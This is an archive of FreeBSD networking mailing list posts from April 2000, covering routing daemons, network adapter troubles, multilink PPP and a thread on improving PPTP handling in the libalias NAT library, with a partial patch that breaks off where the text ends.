From owner-freebsd-net Sun Apr 16 8:38:50 2000 Delivered-To: freebsd-net@freebsd.org Received: from scotch.merit.edu (scotch.merit.edu [198.108.60.195]) by hub.freebsd.org (Postfix) with ESMTP id EEE4537B709 for ; Sun, 16 Apr 2000 08:38:45 -0700 (PDT) (envelope-from chopps@scotch.merit.edu) Received: (from chopps@localhost) by scotch.merit.edu (8.9.3/8.9.3) id LAA14975 for freebsd-net@freebsd.org; Sun, 16 Apr 2000 11:38:44 -0400 (EDT) Date: Sun, 16 Apr 2000 11:38:44 -0400 From: "Christian E. Hopps" To: freebsd-net@freebsd.org Subject: Re: changes in kernel routing table Message-ID: <20000416113844.C4478@merit.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1us Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I was going through some freebsd-net archive mail and I came across a question regarding what routing daemons do with the RTM_ADD messages received on the routing socket. If the route is added after GateD starts (e.g., with the route(8) command) GateD installs the route with "kernel" preference, and will maintain it. On the other hand routes that are in the routing table at the time GateD is launched are timed out and removed after a minute or so. The logic being that if GateD quit for some reason without flushing routes the routing protocols have time to recover so you don't see a flux in your actual forwarding table. Though it is supported one should normally add routes with GateD through the use of the "static" section. Chris. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Sun Apr 16 17: 2:57 2000 Delivered-To: freebsd-net@freebsd.org Received: from arf.bussert.COM (arf.bussert.com [209.183.67.130]) by hub.freebsd.org (Postfix) with ESMTP id 6052237B5CA for ; Sun, 16 Apr 2000 17:02:53 -0700 (PDT) (envelope-from matheny@bussert.com) Received: from localhost (matheny@localhost) by arf.bussert.COM (8.9.3/8.9.3) with ESMTP id TAA43797 for ; Sun, 16 Apr 2000 19:12:42 -0500 (EST) (envelope-from matheny@bussert.com) Date: Sun, 16 Apr 2000 19:12:42 -0500 (EST) From: Blake Matheny To: net@freebsd.org Subject: lnc0 troubles Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I have a laptop with an onboard PCI lnc0 adapter which identifies itself as a PCnet-PCI II. Before I installed freebsd 4.0 I had used a variety of operating systems on this laptop with no problems, including; freebsd 3.1-3.4, openbsd 2.4-2.6, and a variety of linuxes. Now for some reason FreeBSD 4.0 selectivly does not like the adapter. If i turn off my laptop and bring it back up, the adapter won't be found. It will in the initial hardware setup find the adapter, but then when the initialization scripts try to set it up it will have the error, "lnc0: no such adapter". However if I turn my laptop off and back on again the adapter will be found with no problems. I reinstalled and still am continuing to have this problem. Any advice? -Blake To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Mon Apr 17 3:21:15 2000 Delivered-To: freebsd-net@freebsd.org Received: from virtual.ibahn.net (virtual.ibahn.net [207.19.254.2]) by hub.freebsd.org (Postfix) with ESMTP id 865C937B69B for ; Mon, 17 Apr 2000 03:20:45 -0700 (PDT) (envelope-from spud@ibahn.net) Received: from spud-note (ip200.cbo.ibahn.net [192.168.0.200]) by virtual.ibahn.net (8.9.3/8.9.3) with SMTP id SAA01553 for ; Mon, 17 Apr 2000 18:20:42 +0800 Message-Id: <200004171020.SAA01553@virtual.ibahn.net> X-Sender: spud@admin.ibahn.net X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Date: Mon, 17 Apr 2000 18:20:40 +0800 To: freebsd-net@freebsd.org From: Raul Ocampo Subject: problem with mlppp Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello, I am having problems with multilink ppp. here is my setup : FreeBSD 3.4 using mpd Ascend Max 800 I am able to dialup and establish a mlppp connection with the Ascend Box. Using ping I can see that I can get better round trip time with 2 connections up. Here is my problem: When I start to download using ftp or www using a test site on my network, the connection seems to be very slow. I notice that the "Receive" signal of the modems seem to stop every now and then. I also notice that during downloads that I get better performance with just one link up. using "show mp" Multilink Self MRRU = 1600 Multilink Peer MRRU = 1500 why are the values different ? Thanks for your comments. ------------------------------------------ Raul N. Ocampo InfoBahn Communications, Inc. Tel: (632)913-8888 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Mon Apr 17 5: 7:44 2000 Delivered-To: freebsd-net@freebsd.org Received: from storm.FreeBSD.org.uk (storm.freebsd.org.uk [194.242.139.170]) by hub.freebsd.org (Postfix) with ESMTP id 9E2CD37B770 for ; Mon, 17 Apr 2000 05:07:37 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from hak.lan.Awfulhak.org (hak.nat.Awfulhak.org [172.31.0.12]) by storm.FreeBSD.org.uk (8.9.3/8.9.3) with ESMTP id NAA95454; Mon, 17 Apr 2000 13:05:19 +0100 (BST) (envelope-from brian@Awfulhak.org) Received: from hak.lan.Awfulhak.org (localhost [127.0.0.1]) by hak.lan.Awfulhak.org (8.9.3/8.9.3) with ESMTP id NAA16033; Mon, 17 Apr 2000 13:02:51 +0100 (BST) (envelope-from brian@hak.lan.Awfulhak.org) Message-Id: <200004171202.NAA16033@hak.lan.Awfulhak.org> X-Mailer: exmh version 2.1.1 10/15/1999 To: Raul Ocampo Cc: freebsd-net@FreeBSD.ORG, brian@hak.lan.Awfulhak.org Subject: Re: problem with mlppp In-Reply-To: Message from Raul Ocampo of "Mon, 17 Apr 2000 18:20:40 +0800." <200004171020.SAA01553@virtual.ibahn.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 17 Apr 2000 13:02:51 +0100 From: Brian Somers Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I'm afraid I don't know much about mpd, but you could try ppp(8) and see if you get different results. > Hello, > > I am having problems with multilink ppp. > here is my setup : > > FreeBSD 3.4 using mpd > Ascend Max 800 > > I am able to dialup and establish a mlppp connection > with the Ascend Box. Using ping I can see that > I can get better round trip time with 2 connections up. > > Here is my problem: > > When I start to download using ftp or www using a test site on > my network, the connection seems to be very slow. > I notice that the "Receive" signal of the modems seem to stop > every now and then. I also notice that during downloads that > I get better performance with just one link up. > > using "show mp" > Multilink Self > MRRU = 1600 > Multilink Peer > MRRU = 1500 > > why are the values different ? > > Thanks for your comments. [.....] > ------------------------------------------ > Raul N. Ocampo > InfoBahn Communications, Inc. > Tel: (632)913-8888 -- Brian Don't _EVER_ lose your sense of humour ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Mon Apr 17 7:12:12 2000 Delivered-To: freebsd-net@freebsd.org Received: from relay.ucb.crimea.ua (relay.ucb.crimea.ua [212.110.138.1]) by hub.freebsd.org (Postfix) with ESMTP id BCA8F37B83D for ; Mon, 17 Apr 2000 07:11:22 -0700 (PDT) (envelope-from ru@ucb.crimea.ua) Received: (from ru@localhost) by relay.ucb.crimea.ua (8.9.3/8.9.3/UCB) id RAA89374; Mon, 17 Apr 2000 17:05:42 +0300 (EEST) (envelope-from ru) Date: Mon, 17 Apr 2000 17:05:42 +0300 From: Ruslan Ermilov To: Julian Elischer Cc: Brian Somers , Charles Mott , Ari Suutari , Eivind Eklund , net@FreeBSD.org Subject: Re: Improved PPTP support for libalias(3) Message-ID: <20000417170542.A61926@relay.ucb.crimea.ua> Mail-Followup-To: Julian Elischer , Brian Somers , Charles Mott , Ari Suutari , Eivind Eklund , net@FreeBSD.org References: <20000413191649.A19493@relay.ucb.crimea.ua> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.3i In-Reply-To: ; from Julian Elischer on Thu, Apr 13, 2000 at 09:47:18AM -0700 Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, Apr 13, 2000 at 09:47:18AM -0700, Julian Elischer wrote: > > > On Thu, 13 Apr 2000, Ruslan Ermilov wrote: > > > Hi! > > > > For those of you who would like to review this change, I have made it > > available from my FreeBSD homepage: > > > > http://people.FreeBSD.org/~ru/libalias_pptp_patch.0 > > > > > > WHAT IS ADDRESSED IN THIS PATCH > > > > The current PPTP support in libalias(3) is limited to only one local IP > > address. > > > > This change "eliminates" this limitation by adding the new API function, > > PacketAliasRedirectPptp(). It takes three arguments: src_addr, dst_addr > > and alias_addr. The meaning of these arguments is fully identical to > > the corresponding arguments of PacketAliasRedirectPort(), i.e. dst_addr > > can be INADDR_ANY or any specific IP address, while src_addr/alias_addr > > could be INADDR_ANY to always match the default aliasing address set by > > PacketAliasSetAddress(). > > > > does this mean that only one PC at a time behind a NAT wall, can access a > particular machine? > i.e. two visitors with their own laptops from the same place, > cannot go back to the same host to read their mail..? > This is not a BAD restriction, but it is a restriction.. > If you mean two PCs, each with their own tunnel to the same host, this will not work. The problem here is that we need some "tag" to use with source and destination IP addresses, to successfully de-alias packets coming in. For TCP and UDP packets, there are port numbers. For ICMP echo/timestamp packets, there is an ID field. But unfortunately, there seems to be no such "tag" with PPTP protocols. -- Ruslan Ermilov Sysadmin and DBA of the ru@ucb.crimea.ua United Commercial Bank, ru@FreeBSD.org FreeBSD committer, +380.652.247.647 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Mon Apr 17 8: 0:48 2000 Delivered-To: freebsd-net@freebsd.org Received: from bart.esiee.fr (bart.esiee.fr [147.215.1.20]) by hub.freebsd.org (Postfix) with ESMTP id 488FB37B8B7 for ; Mon, 17 Apr 2000 08:00:44 -0700 (PDT) (envelope-from bonnetf@bart.esiee.fr) Received: (from bonnetf@localhost) by bart.esiee.fr (8.9.3/8.9.3) id RAA01886 for freebsd-net@freebsd.org; Mon, 17 Apr 2000 17:00:25 +0200 (MEST) From: Frank Bonnet Message-Id: <200004171500.RAA01886@bart.esiee.fr> Subject: Network install tools ? To: freebsd-net@freebsd.org Date: Mon, 17 Apr 2000 17:00:25 MEST X-Mailer: Elm [revision: 212.5] Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi Is there some tools with freebsd that are able to perform a network install with a pre-defined configuration such as "Ghost" for windows ? I mean install a "master" machine then dump its image with all necessary packages to a server, then use this image to install several "clones" giving only few parameters such as hostname domain name IP address default route subnet mask Thanks a lot for any help -- Frank Bonnet Groupe ESIEE Paris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Mon Apr 17 8: 3:41 2000 Delivered-To: freebsd-net@freebsd.org Received: from rip.psg.com (rip.psg.com [147.28.0.39]) by hub.freebsd.org (Postfix) with ESMTP id 0F94237B770 for ; Mon, 17 Apr 2000 08:03:35 -0700 (PDT) (envelope-from randy@psg.com) Received: from randy by rip.psg.com with local (Exim 3.13 #1) id 12hD3Q-000CkF-00; Mon, 17 Apr 2000 08:03:12 -0700 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Frank Bonnet Cc: freebsd-net@freebsd.org Subject: Re: Network install tools ? References: <200004171500.RAA01886@bart.esiee.fr> Message-Id: Date: Mon, 17 Apr 2000 08:03:12 -0700 Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > I mean install a "master" machine then dump its image > with all necessary packages to a server, then > use this image to install several "clones" > giving only few parameters such as > > hostname > domain name > IP address > default route > subnet mask clone the hard drive by any one of a bunch of tools, and then adjust the above parms in /etc/rc.conf randy To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Mon Apr 17 8:40:39 2000 Delivered-To: freebsd-net@freebsd.org Received: from solo.verkstad.net (solo.verkstad.net [192.71.20.34]) by hub.freebsd.org (Postfix) with ESMTP id B5C0437BA38 for ; Mon, 17 Apr 2000 08:40:33 -0700 (PDT) (envelope-from eraxpma@verkstad.net) Received: from verkstad.net (6bone-gw.testbed.era.ericsson.se [192.71.20.105]) by solo.verkstad.net (8.9.1/8.9.1) with ESMTP id RAA17841; Mon, 17 Apr 2000 17:40:18 +0200 Message-ID: <38FB32C0.E329D34B@verkstad.net> Date: Mon, 17 Apr 2000 17:50:24 +0200 From: Mattias Pettersson X-Mailer: Mozilla 4.6 [en] (X11; I; FreeBSD 3.2-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: snap-users@kame.net, freebsd-net@freebsd.org Subject: ep driver Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi, I'm experiencing a problem on FreeBSD3.4 with pcmcia card 3Com589ET and driver ep. I'm using snap 20000403, though I'm not sure this has anything to do with IPv6 (but traffic is IPv6). Is anyone familiar to if certain network cards reset themselves if they are detached for a while? This card seem to drop one (first) outgoing packet when re-attached. Stack trace (conceptual): ip6_output() nd6_output() ether_output() IFQUEUE() epstart() write mbuf to card mtap to bpfilter Packet shows up on tcpdump (from mtap line), but never on the wire. Subsequent packets make it. Everything looks fine on the tcpdump, IP packet and ethernet addresses. No complaints from card either. /Mattias To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Mon Apr 17 8:45: 3 2000 Delivered-To: freebsd-net@freebsd.org Received: from storm.FreeBSD.org.uk (storm.freebsd.org.uk [194.242.139.170]) by hub.freebsd.org (Postfix) with ESMTP id C90B237BA5E for ; Mon, 17 Apr 2000 08:44:58 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from hak.lan.Awfulhak.org (hak.nat.Awfulhak.org [172.31.0.12]) by storm.FreeBSD.org.uk (8.9.3/8.9.3) with ESMTP id QAA96323; Mon, 17 Apr 2000 16:43:50 +0100 (BST) (envelope-from brian@Awfulhak.org) Received: from hak.lan.Awfulhak.org (localhost [127.0.0.1]) by hak.lan.Awfulhak.org (8.9.3/8.9.3) with ESMTP id QAA16576; Mon, 17 Apr 2000 16:43:44 +0100 (BST) (envelope-from brian@hak.lan.Awfulhak.org) Message-Id: <200004171543.QAA16576@hak.lan.Awfulhak.org> X-Mailer: exmh version 2.1.1 10/15/1999 To: Julian Elischer , Brian Somers , Charles Mott , Ari Suutari , Eivind Eklund , net@FreeBSD.org Subject: Re: Improved PPTP support for libalias(3) In-Reply-To: Message from Ruslan Ermilov of "Mon, 17 Apr 2000 17:05:42 +0300." <20000417170542.A61926@relay.ucb.crimea.ua> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 17 Apr 2000 16:43:44 +0100 From: Brian Somers Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > If you mean two PCs, each with their own tunnel to the same host, this > will not work. The problem here is that we need some "tag" to use with > source and destination IP addresses, to successfully de-alias packets > coming in. For TCP and UDP packets, there are port numbers. For ICMP > echo/timestamp packets, there is an ID field. But unfortunately, there > seems to be no such "tag" with PPTP protocols. Yes, "why would anyone ever want two tunnels between two given machines ?" I never found PPTP very attractive.... :-/ > -- > Ruslan Ermilov Sysadmin and DBA of the > ru@ucb.crimea.ua United Commercial Bank, > ru@FreeBSD.org FreeBSD committer, > +380.652.247.647 Simferopol, Ukraine > > http://www.FreeBSD.org The Power To Serve > http://www.oracle.com Enabling The Information Age -- Brian Don't _EVER_ lose your sense of humour ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Mon Apr 17 17:14:32 2000 Delivered-To: freebsd-net@freebsd.org Received: from bubba.whistle.com (bubba.whistle.com [207.76.205.7]) by hub.freebsd.org (Postfix) with ESMTP id 50C8A37BB5C; Mon, 17 Apr 2000 17:14:28 -0700 (PDT) (envelope-from archie@whistle.com) Received: (from archie@localhost) by bubba.whistle.com (8.9.3/8.9.2) id RAA28144; Mon, 17 Apr 2000 17:14:25 -0700 (PDT) From: Archie Cobbs Message-Id: <200004180014.RAA28144@bubba.whistle.com> Subject: Re: Improved PPTP support for libalias(3) In-Reply-To: <20000417170542.A61926@relay.ucb.crimea.ua> from Ruslan Ermilov at "Apr 17, 2000 05:05:42 pm" To: ru@FreeBSD.ORG (Ruslan Ermilov) Date: Mon, 17 Apr 2000 17:14:25 -0700 (PDT) Cc: julian@elischer.org (Julian Elischer), brian@Awfulhak.org (Brian Somers), cmott@scientech.com (Charles Mott), ari@suutari.iki.fi (Ari Suutari), perhaps@yes.no (Eivind Eklund), net@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Ruslan Ermilov writes: > > does this mean that only one PC at a time behind a NAT wall, can access a > > particular machine? > > i.e. two visitors with their own laptops from the same place, > > cannot go back to the same host to read their mail..? > > This is not a BAD restriction, but it is a restriction.. > > > If you mean two PCs, each with their own tunnel to the same host, this > will not work. The problem here is that we need some "tag" to use with > source and destination IP addresses, to successfully de-alias packets > coming in. For TCP and UDP packets, there are port numbers. For ICMP > echo/timestamp packets, there is an ID field. But unfortunately, there > seems to be no such "tag" with PPTP protocols. Sure there is: the Call ID. We are probably going to implement the remaining bit of this here at Whistle in the next couple of weeks.. and will submit when done. -Archie ___________________________________________________________________________ Archie Cobbs * Whistle Communications, Inc. * http://www.whistle.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Tue Apr 18 0:31:34 2000 Delivered-To: freebsd-net@freebsd.org Received: from relay.ucb.crimea.ua (relay.ucb.crimea.ua [212.110.138.1]) by hub.freebsd.org (Postfix) with ESMTP id 6355C37B99F for ; Tue, 18 Apr 2000 00:31:21 -0700 (PDT) (envelope-from ru@ucb.crimea.ua) Received: (from ru@localhost) by relay.ucb.crimea.ua (8.9.3/8.9.3/UCB) id KAA06186; Tue, 18 Apr 2000 10:29:36 +0300 (EEST) (envelope-from ru) Date: Tue, 18 Apr 2000 10:29:36 +0300 From: Ruslan Ermilov To: Archie Cobbs Cc: Julian Elischer , Brian Somers , Charles Mott , Ari Suutari , Eivind Eklund , net@FreeBSD.ORG Subject: Re: Improved PPTP support for libalias(3) Message-ID: <20000418102936.B95762@relay.ucb.crimea.ua> Mail-Followup-To: Archie Cobbs , Julian Elischer , Brian Somers , Charles Mott , Ari Suutari , Eivind Eklund , net@FreeBSD.ORG References: <20000417170542.A61926@relay.ucb.crimea.ua> <200004180014.RAA28144@bubba.whistle.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.3i In-Reply-To: <200004180014.RAA28144@bubba.whistle.com>; from Archie Cobbs on Mon, Apr 17, 2000 at 05:14:25PM -0700 Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, Apr 17, 2000 at 05:14:25PM -0700, Archie Cobbs wrote: > Ruslan Ermilov writes: > > > does this mean that only one PC at a time behind a NAT wall, can access a > > > particular machine? > > > i.e. two visitors with their own laptops from the same place, > > > cannot go back to the same host to read their mail..? > > > This is not a BAD restriction, but it is a restriction.. > > > > > If you mean two PCs, each with their own tunnel to the same host, this > > will not work. The problem here is that we need some "tag" to use with > > source and destination IP addresses, to successfully de-alias packets > > coming in. For TCP and UDP packets, there are port numbers. For ICMP > > echo/timestamp packets, there is an ID field. But unfortunately, there > > seems to be no such "tag" with PPTP protocols. > > Sure there is: the Call ID. > > We are probably going to implement the remaining bit of this here > at Whistle in the next couple of weeks.. and will submit when done. > I was thinking in terms of RFCs 1701, 1702, 2003 and 2004. Where is the Call ID defined/implemented? -- Ruslan Ermilov Sysadmin and DBA of the ru@ucb.crimea.ua United Commercial Bank, ru@FreeBSD.org FreeBSD committer, +380.652.247.647 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Tue Apr 18 6:50:17 2000 Delivered-To: freebsd-net@freebsd.org Received: from if.scientech.com (eaglerock.if.scientech.com [198.60.85.3]) by hub.freebsd.org (Postfix) with ESMTP id 1E50037B86F; Tue, 18 Apr 2000 06:50:13 -0700 (PDT) (envelope-from cmott@scientech.com) Received: from if.scientech.com (IDENT:cmott@if.scientech.com [10.128.1.6] (may be forged)) by if.scientech.com (8.9.3/8.9.3) with ESMTP id HAA05156; Tue, 18 Apr 2000 07:50:09 -0600 Date: Tue, 18 Apr 2000 07:50:09 -0600 (MDT) From: Charles Mott To: Ruslan Ermilov Cc: Archie Cobbs , Julian Elischer , Brian Somers , Ari Suutari , Eivind Eklund , net@FreeBSD.ORG Subject: Re: Improved PPTP support for libalias(3) In-Reply-To: <20000418102936.B95762@relay.ucb.crimea.ua> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > > > Sure there is: the Call ID. > > > > We are probably going to implement the remaining bit of this here > > at Whistle in the next couple of weeks.. and will submit when done. > > > I was thinking in terms of RFCs 1701, 1702, 2003 and 2004. > Where is the Call ID defined/implemented? Connection setup is via some tcp port (1723 ?). This is possibly where the "Call ID" comes into existence. This would also have to be encapsulated somewhere in the GRE packets. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Tue Apr 18 9:28:48 2000 Delivered-To: freebsd-net@freebsd.org Received: from bubba.whistle.com (bubba.whistle.com [207.76.205.7]) by hub.freebsd.org (Postfix) with ESMTP id 8925237B849; Tue, 18 Apr 2000 09:28:45 -0700 (PDT) (envelope-from archie@whistle.com) Received: (from archie@localhost) by bubba.whistle.com (8.9.3/8.9.2) id JAA36256; Tue, 18 Apr 2000 09:28:41 -0700 (PDT) From: Archie Cobbs Message-Id: <200004181628.JAA36256@bubba.whistle.com> Subject: Re: Improved PPTP support for libalias(3) In-Reply-To: from Charles Mott at "Apr 18, 2000 07:50:09 am" To: cmott@scientech.com (Charles Mott) Date: Tue, 18 Apr 2000 09:28:41 -0700 (PDT) Cc: ru@FreeBSD.ORG (Ruslan Ermilov), archie@whistle.com (Archie Cobbs), julian@elischer.org (Julian Elischer), brian@Awfulhak.org (Brian Somers), ari@suutari.iki.fi (Ari Suutari), perhaps@yes.no (Eivind Eklund), net@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Charles Mott writes: > > > Sure there is: the Call ID. > > > > > > We are probably going to implement the remaining bit of this here > > > at Whistle in the next couple of weeks.. and will submit when done. > > > > > I was thinking in terms of RFCs 1701, 1702, 2003 and 2004. > > Where is the Call ID defined/implemented? > > Connection setup is via some tcp port (1723 ?). This is possibly where > the "Call ID" comes into existence. This would also have to be > encapsulated somewhere in the GRE packets. Which it is.. see RFC 2637, section 4.1. http://www.es.net/pub/rfcs/rfc2637.txt -Archie ___________________________________________________________________________ Archie Cobbs * Whistle Communications, Inc. * http://www.whistle.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Wed Apr 19 1:58:49 2000 Delivered-To: freebsd-net@freebsd.org Received: from relay.ucb.crimea.ua (relay.ucb.crimea.ua [212.110.138.1]) by hub.freebsd.org (Postfix) with ESMTP id 544E037B70D for ; Wed, 19 Apr 2000 01:58:16 -0700 (PDT) (envelope-from ru@ucb.crimea.ua) Received: (from ru@localhost) by relay.ucb.crimea.ua (8.9.3/8.9.3/UCB) id LAA52851; Wed, 19 Apr 2000 11:55:13 +0300 (EEST) (envelope-from ru) Date: Wed, 19 Apr 2000 11:55:13 +0300 From: Ruslan Ermilov To: Archie Cobbs Cc: Julian Elischer , Brian Somers , Charles Mott , Ari Suutari , Eivind Eklund , net@FreeBSD.ORG Subject: Re: Improved PPTP support for libalias(3) Message-ID: <20000419115513.A42767@relay.ucb.crimea.ua> Mail-Followup-To: Archie Cobbs , Julian Elischer , Brian Somers , Charles Mott , Ari Suutari , Eivind Eklund , net@FreeBSD.ORG References: <20000417170542.A61926@relay.ucb.crimea.ua> <200004180014.RAA28144@bubba.whistle.com> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary=82I3+IH0IqGh5yIs X-Mailer: Mutt 0.95.3i In-Reply-To: <200004180014.RAA28144@bubba.whistle.com>; from Archie Cobbs on Mon, Apr 17, 2000 at 05:14:25PM -0700 Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org --82I3+IH0IqGh5yIs Content-Type: text/plain; charset=us-ascii On Mon, Apr 17, 2000 at 05:14:25PM -0700, Archie Cobbs wrote: > Ruslan Ermilov writes: > > > does this mean that only one PC at a time behind a NAT wall, can access a > > > particular machine? > > > i.e. two visitors with their own laptops from the same place, > > > cannot go back to the same host to read their mail..? > > > This is not a BAD restriction, but it is a restriction.. > > > > > If you mean two PCs, each with their own tunnel to the same host, this > > will not work. The problem here is that we need some "tag" to use with > > source and destination IP addresses, to successfully de-alias packets > > coming in. For TCP and UDP packets, there are port numbers. For ICMP > > echo/timestamp packets, there is an ID field. But unfortunately, there > > seems to be no such "tag" with PPTP protocols. > > Sure there is: the Call ID. > > We are probably going to implement the remaining bit of this here > at Whistle in the next couple of weeks.. and will submit when done. > This patch should (hopefully) allow for concurrent PPTP tunnels from multiple local PACs to the same remote PNS to work behind NAT (rfc2637 terminology is being used). Could someone please test this patch, since I do not have enough test environment here? Note please, that you DO NOT need PacketAliasRedirectPptp() for this to work. Just running natd(8) with the default set of options should be enough. If someone is going to test this, please mail me the output of `natd -v' while trying PPTP to the same PNS from two or more local PACs. Thanks, -- Ruslan Ermilov Sysadmin and DBA of the ru@ucb.crimea.ua United Commercial Bank, ru@FreeBSD.org FreeBSD committer, +380.652.247.647 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age --82I3+IH0IqGh5yIs Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=p Index: Makefile =================================================================== RCS file: /usr/FreeBSD-CVS/src/lib/libalias/Makefile,v retrieving revision 1.13 diff -u -p -r1.13 Makefile --- Makefile 2000/01/14 07:57:13 1.13 +++ Makefile 2000/04/19 08:14:33 @@ -5,7 +5,7 @@ SHLIB_MAJOR= 3 SHLIB_MINOR= 0 CFLAGS+= -Wall -I${.CURDIR} SRCS= alias.c alias_cuseeme.c alias_db.c alias_ftp.c alias_irc.c \ - alias_nbt.c alias_proxy.c alias_util.c + alias_nbt.c alias_pptp.c alias_proxy.c alias_util.c INCS= alias.h MAN3= libalias.3 Index: alias.c =================================================================== RCS file: /usr/FreeBSD-CVS/src/lib/libalias/alias.c,v retrieving revision 1.18 diff -u -p -r1.18 alias.c --- alias.c 2000/04/18 10:18:20 1.18 +++ alias.c 2000/04/19 08:14:33 @@ -178,6 +178,7 @@ TcpMonitorOut(struct ip *pip, struct ali IcmpAliasIn(), IcmpAliasIn1(), IcmpAliasIn2(), IcmpAliasIn3() IcmpAliasOut(), IcmpAliasOut1(), IcmpAliasOut2(), IcmpAliasOut3() + PptpAliasIn(), PptpAliasOut() UdpAliasIn(), UdpAliasOut() TcpAliasIn(), TcpAliasOut() @@ -224,6 +225,9 @@ static int IcmpAliasOut2(struct ip *); static int IcmpAliasOut3(struct ip *); static int IcmpAliasOut (struct ip *); +static int PptpAliasIn(struct ip *); +static int PptpAliasOut(struct ip *); + static int UdpAliasOut(struct ip *); static int UdpAliasIn (struct ip *); @@ -670,7 +674,7 @@ PptpAliasIn(struct ip *pip) if (packetAliasMode & PKT_ALIAS_DENY_PPTP) return PKT_ALIAS_IGNORED; - link = FindPptpIn(pip->ip_src, pip->ip_dst); + link = FindPptpIn(pip->ip_src, pip->ip_dst, GetPptpCallID(pip)); if (link != NULL) { struct in_addr original_address; @@ -707,7 +711,7 @@ PptpAliasOut(struct ip *pip) if (packetAliasMode & PKT_ALIAS_DENY_PPTP) return PKT_ALIAS_IGNORED; - link = FindPptpOut(pip->ip_src, pip->ip_dst); + link = FindPptpOut(pip->ip_src, pip->ip_dst, GetPptpCallID(pip)); if (link != NULL) { struct in_addr alias_address; Index: alias_db.c =================================================================== RCS file: /usr/FreeBSD-CVS/src/lib/libalias/alias_db.c,v retrieving revision 1.27 diff -u -p -r1.27 alias_db.c --- alias_db.c 2000/04/18 10:18:20 1.27 +++ alias_db.c 2000/04/19 08:14:33 @@ -1380,12 +1380,13 @@ FindFragmentPtr(struct in_addr dst_addr, struct alias_link * FindPptpIn(struct in_addr dst_addr, - struct in_addr alias_addr) + struct in_addr alias_addr, + u_short call_id) { struct alias_link *link; link = FindLinkIn(dst_addr, alias_addr, - NO_DEST_PORT, 0, + NO_DEST_PORT, call_id, LINK_PPTP, 1); if (link == NULL && !(packetAliasMode & PKT_ALIAS_DENY_INCOMING)) @@ -1394,7 +1395,7 @@ FindPptpIn(struct in_addr dst_addr, target_addr = FindOriginalAddress(alias_addr); link = AddLink(target_addr, dst_addr, alias_addr, - NO_SRC_PORT, NO_DEST_PORT, 0, + call_id, NO_DEST_PORT, call_id, LINK_PPTP); } @@ -1404,12 